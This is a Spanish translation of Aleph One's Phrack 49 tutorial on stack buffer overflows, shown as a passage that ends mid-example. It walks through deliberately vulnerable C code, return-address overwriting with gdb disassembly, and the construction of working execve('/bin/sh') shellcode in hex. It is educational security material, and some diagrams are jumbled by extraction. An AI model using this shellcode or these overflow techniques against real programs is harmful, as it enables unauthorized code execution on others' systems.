Sunteți pe pagina 1din 30

.oO Phrack 49 Oo. Volumen Siete, Numero Cuarenta y Nueve Archivo 14 de 16 BugTraq, r00t, y Underground.

Org te traen XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Rompiendo La Pila Para Diversion y Beneficio XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX por Aleph One aleph1@underground.org `romper la pila` [Programacion en C] n. En varias implementaciones en C es posible corromper la pila de ejecucion escribiendo pasado el final de un array declarado auto en una rutina. El codigo que hace esto se dice que rompe la pila, y puede causar retornar desde la rutina para saltar a una direccion al azar. Esto puede producir alguno de los bugs mas insidiosos dependientes de datos conocidos para todo tipo. Las variantes incluyen basurear la pila, garabatear la pila, destrozar la pila; el termino mung la pila no es usado, ya que esto nunca es hecho intencionalmente. Ve spam; ve tambien alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduccion ~~~~~~~~~~~~ Sobre los ultimos meses ha habido un gran incremento de vulnerabilidades buffer overflow que fueron descubiertas y exploiteadas. Ejemplos de esto son syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, libreria Xt, at, etc. Este paper quiere explicar que son los buffer overflows, y como funcionan sus exploits. Es requerido conocimiento basico de assembler. Un entendimiento de los conceptos de memoria virtual, y experiencia con gdb son muy utiles pero no necesarios. Tambien asumimos que estamos trabajando con una CPU Intel x86 y que el sistema operativo es Linux. Algunas definiciones basicas antes de que comencemos: Un buffer es simplemente un bloque contiguo de memoria de computadora que mantiene multiples instancias del mismo tipo de datos. Los programadores de C normalmente lo asocian con los word buffer arrays. Mas comunmente, characters arrays. Los arrays, como todas las variables en C, pueden ser declaradas tanto estaticos como dinamicos. Las variables estaticas son asignadas en la pila en tiempo de ejecucion. Hacer overflow es inundar, o llenar pasado el tope, rebasar, o botar. A nosotros nos concierne solo el overflow de buffers dinamicos, de otro modo conocido como buffer overflows basados en la pila. Organizacion de Procesamiento de Memoria ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Para entender que son los buffers de pila primero debemos entender como es organizado un proceso en memoria. Los procesos son divididos en tres

regiones: Text, Data, y Stack. Nos concentraremos en la region stack (pila), pero primero una peque~a vista general de las otras regiones. La region text es ajustada por el programa e incluye codigo (instrucciones) y datos solo-lectura. Esta region corresponde a la seccion text del archivo ejecutable. Esta region es normalmente marcada solo-lectura y cualquier intento de escribir en ella resulta en una violacion de segmentacion. La region data contiene datos inicializados y sin inicializar. Las variables estaticas son guardadas en esta region. La region data corresponde a las secciones data-bss del archivo ejecutable. Su tama~o puede ser cambiado con la system call brk(2). Si la expansion de los datos bss o la pila de usuario agota la memoria disponible, el proceso es bloqueado y es re-agendado para ejecutarse de nuevo con un espacio de memoria mayor. Nueva memoria es agregada entre los segmentos data y stack. /------------------\ | | | Text | | | |------------------| | (Initializados) | | Datos | |(No inicializados)| |------------------| | | | Stack | | | \------------------/ direcciones mas bajas de memoria

direcciones mas altas de memoria

Fig. 1 Regiones de procesamiento de memoria Que es un Stack? ~~~~~~~~~~~~~~~~ Un stack es un tipo abstracto de datos frecuentemente usado en ciencia de la computadora. Un stack de objetos tiene la propiedad de que el ultimo objeto ubicado en el stack sera el primer objeto en ser removido. Esta propiedad es comunmente referida como el ultimo en, el primero afuera en la cola, o un LIFO. Varias operaciones son definidas en stacks. Dos de las mas importantes son PUSH y POP. PUSH agrega un elemento al principio de la pila. POP, en cambio, reduce el tama~o del stack de a uno removiendo el ultimo elemento al tope de la pila. Por Que Usamos Un Stack? ~~~~~~~~~~~~~~~~~~~~~~~~ Las computadoras modernas estan dise~adas en mente con la necesidad de lenguajes de alto-nivel. La tecnica mas importante para estructurar programas introducidos por lenguajes de alto nivel es el procedimiento o funcion. Desde un punto de vista, una procedure call altera el flujo de control tal como un jump (salto) lo hace, pero a diferencia de un jump, cuando termina de llevar a cabo su tarea, una funcion devuelve el control al estatuto o instruccion siguiendo la llamada. Esta abstraccion de alto-nivel es implementada con ayuda del stack.

El stack es tambien usado para asignar dinamicamente las variables locales usadas en funciones, para pasar parametros a las funciones, y para devolver valores desde la funcion. La Region Stack ~~~~~~~~~~~~~~~ Un stack es un bloque de memoria contiguo conteniendo datos. Un registro llamado el stack pointer (puntero de pila) (SP) que apunta al tope del stack. El fondo de la pila esta en una direccion ajustada. Su tama~o es ajustado dinamicamente por el kernel en tiempo de ejecucion. La CPU implementa instrucciones para hacer PUSH hacia y POP fuera del stack. El stack consiste en frames logicos de stack que son pusheados cuando se llama a una funcion y poppeado cuando vuelve. Un stack frame contiene los parametros para una funcion, sus variables locales, y los datos necesarios para recuperar el stack frame previo, incluyendo el valor del puntero de instruccion y el tiempo de la llamada a funcion. Dependiendo de la implementacion el stack podra decrecer (detras de las direcciones mas bajas de memoria), o crecer. En nuestros ejemplos usaremos un stack que decrece. Este es el camino en que el stack crece en muchas computadoras incluyendo procesadores Intel, Motorola, SPARC y MIPS. El stack pointer (SP) es tambien dependiente de la implementacion. Puede apuntar a la ultima direccion en el stack, o a la siguiente direccion libre disponible despues del stack. Para nuestra discusion asumiremos que apunta a la ultima direccion en el stack. Sumandose al stack pointer, que apunta al tope del stack (direccion numerica mas baja), es conveniente tener un frame pointer (FP) que apunte a una direccion ajustada dentro de un frame. Algunos textos tambien se refieren a el como un local base pointer (LB) (puntero base local). En principio, las variables locales pueden ser referenciadas dando sus offsets desde SP. Sin embargo, como los words son pusheados sobre el stack y poppeados desde el stack, estos offsets cambian. Aunque en algunos casos el compilador puede seguir las huellas del numero de words en la pila y asi corregir los offsets, en algunos casos no puede, y en todos los casos es requerida una administracion considerable. Ademas, en algunas maquinas, tales como las basadas en procesadores Intel, accesar una variable a una distancia conocida desde SP requiere multiples instrucciones. Consecuentemente, varios compiladores usan un segundo registro, FP, para referenciar ambas variables locales y parametros porque sus distancias desde FP no cambian con PUSHs y POPs. En CPUs Intel, BP (EBP) es usado para este proposito. En las CPUs Motorola, cualquier registro de direccion excepto A7 (el stack pointer) lo hara. Debido a la forma en que crece nuestro stack, los parametros actuales tienen offsets positivos y las variables locales tienen offsets negativos desde SP. La primera cosa que un procedimiento debe hacer cuando es llamado es guardar el FP previo (entonces puede ser restaurado en la salida del procedimiento). Despues copia SP dentro de FO para crear el nuevo FP, y avanza SP para reservar espacio para las variables locales. Este codigo es llamado procedure prolog (prologo de procedimiento). Sobre la salida del procedimiento, el stack debe estar limpio de nuevo, algo llamado procedure epilog (epilogo de procedimiento). Las instrucciones ENTER y LEAVE de Intel y las instrucciones LINK y UNLINK de Motorola, han sido provistas para hacer la mayoria del prologo de procedimiento y trabajo de epilogo eficientemente.

Veamos como se ve el stack en un ejemplo simple: example1.c: -----------------------------------------------------------------------------void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } -----------------------------------------------------------------------------Para entender que hace el programa para llamar a function() lo compilamos con gcc usando el switch -S para generar codigo output assembler: $ gcc -S -o example1.s example1.c Mirando al output del lenguaje assembler vemos que la llamada para function() es traducida a: pushl $3 pushl $2 pushl $1 call function Esto pushea los 3 argumentos de la funcion hacia atras dentro del stack, y llama a function(). La instruccion 'call' pusheara el puntero de instruccion (IP) hacia el stack. Llamaremos IP guardado a la direccion de retorno (RET). La primer cosa hecha en function es el prologo de procedimiento: pushl %ebp movl %esp,%ebp subl $20,%esp Esto pushea EBP, el frame pointer, hacia el stack. Luego copia el actual SP hacia EBP, haciendolo el nuevo puntero FP. Llamaremos SFP al puntero FP guardado. Luego asigna espacio para las variables locales sustrayendo su tama~o desde SP. Debemos recordar que la memoria puede ser solo direccionada en multiplos del tama~o del word. Un word en nuestro caso es 4 bytes, o 32 bits. Por lo que nuestro buffer de 5 bytes realmente va a tomar 8 bytes (2 words) de memoria, y nuestro buffer de 10 bytes va a tomar realmente 12 bytes (3 words) de memoria. Eso es el por que de que SP es sustraido por 20. Con eso en mente nuestro stack se ve como esto cuando function() es llamada (cada espacio representa un byte): fondo de memoria buffer2 <-----tope del stack [ ][ buffer1 ][ sfp ][ ret ][ a ][ b ][ c ] fondo del stack tope de memroria

Buffer Overflows ~~~~~~~~~~~~~~~~ Un buffer overflow es el resultado de poner mas datos dentro de un buffer de los que puede manejar. Como estos casi siempre encontrados errores de programacion pueden ser aprovechados para ejecutar codigo arbitrario? Miremos otro ejemplo: example2.c -----------------------------------------------------------------------------void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } -----------------------------------------------------------------------------Este programa tiene una funcion con un tipico buffer overflow codeando error. La funcion copia un string dado sin destrozar chequeando por usar strcpy() en vez de strncpy(). Si ejecutas este programa obtendras una violacion de segmentacion. Veamos como se ve el stack cuando llamamos a funcion: fondo de memoria buffer <-----tope del stack [ ][ sfp ][ ret ][ *str ] fondo del stack tope de memoria

Que esta pasando aqui? Por que obtenemos una violacion de segmentacion? Simple. strcpy() esta copiando los contenidos de *str (larger_string[]) dentro de buffer[] hasta que un caracter nulo es encontrado en el string. Como podemos ver buffer[] es mucho mas peque~o que *str. buffer[] es 16 bytes mas largo, y estamos tratando de llenarlo con 256 bytes. Esto significa que todos los 250 bytes despues del buffer en el stack estan siendo sobreescritos. Esto incluye el SFP, RET, e incluso *str! Hemos llenado large_string con el caracter 'A'. Su valor de caracter hexadecimal es 0x41. Esto significa que la direccion de retorno es ahora 0x41414141. Esto es la parte de afuera del espacio de direccion de proceso. Esto es el por que de que la funcion vuelve y trata de leer la siguiente instruccion desde esa direccion de la que obtuviste una violacion de segmentacion. Entonces un buffer overflow nos permite cambiar la direccion de retorno de una funcion. De esta manera podemos cambiar el flujo de ejecucion del programa. Volvamos a nuestro primer ejemplo y recordemos como se veia

el stack: fondo de memoria buffer2 <-----tope del stack [ ][ buffer1 ][ sfp ][ ret ][ a ][ b ][ c ] fondo del stack tope de memoria

Vamos a tratar de modificar nuestro primer ejemplo para que sobreescriba la direccion de retorno, y demuestre como podemos hacerlo ejecutar codigo arbitrario. Justo antes de buffer1[] en la pila esta SFP, y antes de el, la direccion de retorno. Eso es 4 bytes pasando el final de buffer1[]. Pero recuerda que buffer1[] es realmente 2 words por lo que es 8 bytes de largo. Entonces la direccion de retorno esta a 12 bytes desde el comienzo de buffer1[]. Modificaremos el valor de retorno de una forma en que el estatuto de asignamiento sea 'x = 1'; despues de la llamada a funcion sera saltado. Para hacer esto agregamos 8 bytes a la direccion de retorno. Nuestro codigo es ahora: example3.c: -----------------------------------------------------------------------------void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } -----------------------------------------------------------------------------Lo que hemos hecho es agregar 12 a la direcion de buffer1[]. Esta nueva direccion esta donde la direccion de retorno esta guardada. Queremos saltear el pasar el asignamiento a la llamada printf. Como sabemos que habia que agregar 8 bytes a la direccion de retorno? Usamos un valor de prueba primero (para el ejemplo 1), compilamos el programa, y despues arrancamos gdb: -----------------------------------------------------------------------------[aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 <main>: pushl %ebp

0x8000491 <main+1>: movl %esp,%ebp 0x8000493 <main+3>: subl $0x4,%esp 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x800049d <main+13>: pushl $0x3 0x800049f <main+15>: pushl $0x2 0x80004a1 <main+17>: pushl $0x1 0x80004a3 <main+19>: call 0x8000470 <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 0x80004bb <main+43>: call 0x8000378 <printf> 0x80004c0 <main+48>: addl $0x8,%esp 0x80004c3 <main+51>: movl %ebp,%esp 0x80004c5 <main+53>: popl %ebp 0x80004c6 <main+54>: ret 0x80004c7 <main+55>: nop -----------------------------------------------------------------------------Podemos ver que cuando se llama a function() RET sera 0x8004a8, y queremos saltar pasando el asignamiento 0x80004ab. La siguiente instruccion que queremos ejecutar esta en 0x8004b2. Un poco de matematica nos dice que la distancia es 8 bytes. Shell Code ~~~~~~~~~~ Entonces ahora que sabemos como modificar la direccion de retorno y el flujo de ejecucion, que programa queremos ejecutar? En la mayoria de los casos simplemente querremos que el programa produzca una shell. Desde la shell podemos entonces llevar a cabo otros comandos como queramos. Pero que si no hay tal codigo en el programa que estamos tratando de exploitear? Como podemos ubicar nuestra instruccion arbitraria dentro de su espacio de direccion? La respuesta es ubicar el codigo cuando se este tratando de ejecutar en el buffer que estamos overfloweando, y sobreescribir la direccion de retorno para que apunte de regreso dentro del buffer. Asumiendo que el stack comienza en la direccion 0xFF, y que S se entiende por el codigo que queremos ejecutar el stack podria verse como esto: fondo de memoria <-----tope del stack El codigo para producir una shell en C se ve como esto: shellcode.c ----------------------------------------------------------------------------#include <stdio.h> void main() { DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF buffer sfp ret a b c [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| fondo del stack tope de memoria

char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } -----------------------------------------------------------------------------Para averiguar como se ve en assembler lo compilamos, y arrancamos gdb. Recuerda usar la flag -static. De otro modo el codigo actual para la execve system call no sera incluido. En su lugar habra una referencia a una libreria dinamica de C que puede normalmente ser linkeada en tiempo de carga. -----------------------------------------------------------------------------[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. -----------------------------------------------------------------------------Vamos a tratar de entender que esta pasando aqui. Empezaremos estudiando main: -----------------------------------------------------------------------------0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp Este es el preludio de procedimiento. Primero guarda el antiguo frame pointer, hace al actual stack pointer el nuevo frame pointer, y deja espacio para las variables locales. En este caso es: char *name[2]; o 2 punteros a un caracter. Los punteros son 1 word de largo, por lo que deja espacio para dos words (8 bytes). 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

Copiamos el valor 0x80027b8 (la direccion del string "/bin/sh") dentro del primer puntero de name[]. Esto es equivalente a: name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

Copiamos el valor 0x0 (NULL) dentro del segundo puntero de name[]. Esto es equivalente a: name[1] = NULL; La actual llamada a execve() comienza aqui. 0x8000144 <main+20>: pushl $0x0

Pusheamos los argumentos a execve() en orden reverso hacia el stack. Empezamos con NULL. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

Cargamos la direccion de name[] dentro del registro EAX. 0x8000149 <main+25>: pushl %eax

Pusheamos la direccion de name[] hacia el stack. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

Cargamos la direccion del string "/bin/sh" dentro del registro EAX. 0x800014d <main+29>: pushl %eax

Pusheamos la direccion del string "/bin/sh" hacia la pila. 0x800014e <main+30>: call 0x80002bc <__execve>

Llamamos al procedimiento de libreria execve(). La instruccion de llamada pushea el IP hacia la pila. -----------------------------------------------------------------------------Ahora execve(). Ten en mente que estamos usando un sistema Linux basado en Intel. Los detalles de las syscalls cambiaran de SO en SO, y de CPU en CPU. Algunas pasaran argumentos sobre la pila, otros sobre los registros. Algunos usan una interrupcion de software para saltar a modo kernel, otros usan una llamada lejana. Linux pasa sus argumentos a una system call sobre los registros, y usa una interrupcion de software para saltar a modo kernel. -----------------------------------------------------------------------------0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx El preludio del procedimiento. 0x80002c0 <__execve+4>: movl $0xb,%eax

Copiar 0xb (decimal 11) hacia el stack. Esto es el index dentro de la tabla de syscall. 11 es execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

Copia la direccion "/bin/sh" dentro de EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

Copia la direccion de name[] dentro de ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

Copia la direccion del puntero null dentro de %edx. 0x80002ce <__execve+18>: int $0x80

Cambia dentro del modo kernel. -----------------------------------------------------------------------------Entones como podemos ver no hay mucho para la system call execve(). Todo lo que necesitamos hacer es: a) Tener el string terminado en nulo "/bin/sh" en algun lugar en memoria. b) Tener la direccion del string "/bin/sh" en algun lugar en memoria seguido por un word largo nulo. c) Copiar 0xb dentro del registro EAX. d) Copiar la direccion de la direccion del string "/bin/sh" dentro del registro EBX. e) Copiar la direccion del string "/bin/sh" dentro del registro ECX. f) Copiar la direccion del word largo nulo dentro del registro EDX. g) Ejecutar la instruccion int $0x80. Pero que si la llamada execve() falla por alguna razon? El programa continuara buscando instrucciones desde el stack, que puede contener datos al azar! El programa sera mayormente parecido a core dump. Para realizar esto debemos entonces agregar una syscall de salida despues de la syscall execve. Como se ve la syscall de salida?

exit.c -----------------------------------------------------------------------------#include <stdlib.h> void main() { exit(0); } ----------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. -----------------------------------------------------------------------------La syscall de salida ubicara 0x1 en EAX, ubicara el codigo exit en EBX, y ejecutara "int 0x80". Eso es. La mayoria de las aplicaciones devuelven 0 en exit para indicar que no hay errores. Ubicaremos 0 en EBX. Nuestra lista de pasos ahora es: a) Tener el string terminado en nulo "/bin/sh" en algun lugar en memoria. b) Tener la direccion del string "/bin/sh" en algun lugar en memoria seguida de un word largo nulo. c) Copiar 0xb dentro del registro EAX. d) Copiar la direccion de la direccion del string "/bin/sh" dentro del registro EBX. e) Copiar la direccion del string "/bin/sh" dentro del registro ECX. f) Copiar la direccion del word largo nulo dentro del registro EDX. g) Ejecutar la instruccion int $0x80. h) Copiar 0x1 dentro del registro EAX. i) Copiar 0x0 dentro del registro EBX. j) Ejecutar la instruccion int $0x80. Tratando de poner esto junto en lenguaje assembler, ubicando el string despues del codigo, y recordando que ubicaremos la direccion del string, y un word nulo despues del array, tenemos: ------------------------------------------------------------------------------

movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string va aqui. -----------------------------------------------------------------------------El problema es que no conocemos en que espacio de memoria seran ubicados el codigo (y el string que lo sigue) del programa que estamos tratando de exploitear. Una forma alrededor de esto es usar un JMP, y una instruccion CALL. Las instrucciones JMP y CALL pueden usar direccionamiento IP relativo, que significa que podemos saltar a un offset desde la actual IP sin necesitar saber la direccion exacta adonde queremos saltar en memoria. Si ubicamos una instruccion CALL justo antes del string "/bin/sh", y una instruccion JMP a el, la direccion del string sera pusheada hacia el stack como la direccion de retorno cuando CALL es ejecutada. Todo lo que necesitamos entonces es copiar la direccion de retorno dentro de un registro. La instruccion CALL puede simplemente llamar al principio de nuestro codigo arriba. Asumiendo ahora que por J se entiende la instruccion JMP, C para la instruccion CALL, y s para el string, el flujo de ejecucion podria ser ahora: fondo de memoria <-----DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF buffer sfp ret a b c tope de memoria

[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) tope del stack

fondo del stack

Con estas modificaciones, usando direccionamiento indexado, y escribiendo abajo cuantos bytes tomando nuestro codigo de cada instruccion se ve asi: -----------------------------------------------------------------------------jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. -----------------------------------------------------------------------------Calculando los offsets de jmp para call, de call para popl, de la direccion del string al array, y de la direccion string al word largo nulo, ahora tenemos: -----------------------------------------------------------------------------jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes -----------------------------------------------------------------------------Se ve bien. Para asegurar que funciona correctamente debemos compilarlo y ejecutarlo. Pero hay un problema. Nuestro codigo se modifica a si mismo, pero la mayoria de los sistemas operativos marcan a las paginas de codigo como solo-lectura. Para evadir esta restriccion debemos ubicar el codigo que deseamos ejecutar en el segmento del stack o de datos, y transferirle el control. Para hacerlo ubicaremos nuestro codigo en un array global en el segmento de datos. Necesitamos primero una representacion hex del codigo binario. Compilemoslo primero, y despues usemos gdb para obtenerlo. shellcodeasm.c -----------------------------------------------------------------------------void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } -----------------------------------------------------------------------------------------------------------------------------------------------------------

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: jmp 0x800015f <main+47> 0x8000135 <main+5>: popl %esi 0x8000136 <main+6>: movl %esi,0x8(%esi) 0x8000139 <main+9>: movb $0x0,0x7(%esi) 0x800013d <main+13>: movl $0x0,0xc(%esi) 0x8000144 <main+20>: movl $0xb,%eax 0x8000149 <main+25>: movl %esi,%ebx 0x800014b <main+27>: leal 0x8(%esi),%ecx 0x800014e <main+30>: leal 0xc(%esi),%edx 0x8000151 <main+33>: int $0x80 0x8000153 <main+35>: movl $0x1,%eax 0x8000158 <main+40>: movl $0x0,%ebx 0x800015d <main+45>: int $0x80 0x800015f <main+47>: call 0x8000135 <main+5> 0x8000164 <main+52>: das 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 0x8000168 <main+56>: das 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 <main+3>: 0xeb (gdb) 0x8000134 <main+4>: 0x2a (gdb) . . . -----------------------------------------------------------------------------testsc.c -----------------------------------------------------------------------------char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ----------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit

[aleph1]$ -----------------------------------------------------------------------------Funciona! Pero hay un obstaculo. En la mayoria de los casos estaremos tratando de overflowear un character buffer. Tal como cualquier bytes nulos en nuestro shellcode seran considerados el final del string, y la copia sera terminada. No deben haber bytes nulos en el shellcode para que el exploit funcione. Tratemos de eliminar los bytes (y al mismo tiempo hacerlos mas peque~os). Problema de Instruccion: Sustituir con: -------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------movl $0xb,%eax movb $0xb,%al -------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------Nuestro codigo improvisado: shellcodeasm2.c -----------------------------------------------------------------------------void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } -----------------------------------------------------------------------------Y nuestro nuevo programa de prueba: testsc2.c -----------------------------------------------------------------------------char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

